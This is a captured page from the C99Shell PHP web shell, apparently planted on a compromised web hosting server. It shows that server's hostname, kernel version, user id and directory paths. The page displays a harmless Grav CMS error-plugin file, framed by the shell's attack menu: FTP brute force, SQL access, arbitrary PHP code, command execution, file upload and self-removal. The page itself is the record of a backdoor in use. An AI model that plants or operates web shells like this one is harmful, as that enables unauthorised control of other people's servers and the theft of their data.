!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/aps/xcrud/plugins/select2-develop/docs/plugins/error/   drwxr-xr-x
Free 179.56 GB of 490.84 GB (36.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     error.php (1.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Grav\Plugin;

use 
Grav\Common\Plugin;
use 
Grav\Common\Grav;
use 
Grav\Common\Page\Page;
use 
Grav\Common\Page\Pages;
use 
Grav\Common\Page\Types;
use 
RocketTheme\Toolbox\Event\Event;

class 
ErrorPlugin extends Plugin
{
    
/**
     * @return array
     */
    
public static function getSubscribedEvents()
    {
        return [
            
'onPageNotFound' => ['onPageNotFound'0],
            
'onGetPageTemplates' => ['onGetPageTemplates'0],
            
'onTwigTemplatePaths' => ['onTwigTemplatePaths', -10]
        ];
    }

    
/**
     * Display error page if no page was found for the current route.
     *
     * @param Event $event
     */
    
public function onPageNotFound(Event $event)
    {
        
/** @var Pages $pages */
        
$pages $this->grav['pages'];

        
// Try to load user error page.
        
$page $pages->dispatch($this->config->get('plugins.error.routes.404''/error'), true);

        if (!
$page) {
            
// If none provided use built in error page.
            
$page = new Page;
            
$page->init(new \SplFileInfo(__DIR__ '/pages/error.md'));
        }

        
$event->page $page;
        
$event->stopPropagation();
    }

    
/**
     * Add page template types.
     */
    
public function onGetPageTemplates(Event $event)
    {
        
/** @var Types $types */
        
$types $event->types;
        
$types->register('error');
    }

    
/**
     * Add current directory to twig lookup paths.
     */
    
public function onTwigTemplatePaths()
    {
        
$this->grav['twig']->twig_paths[] = __DIR__ '/templates';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.006 ]--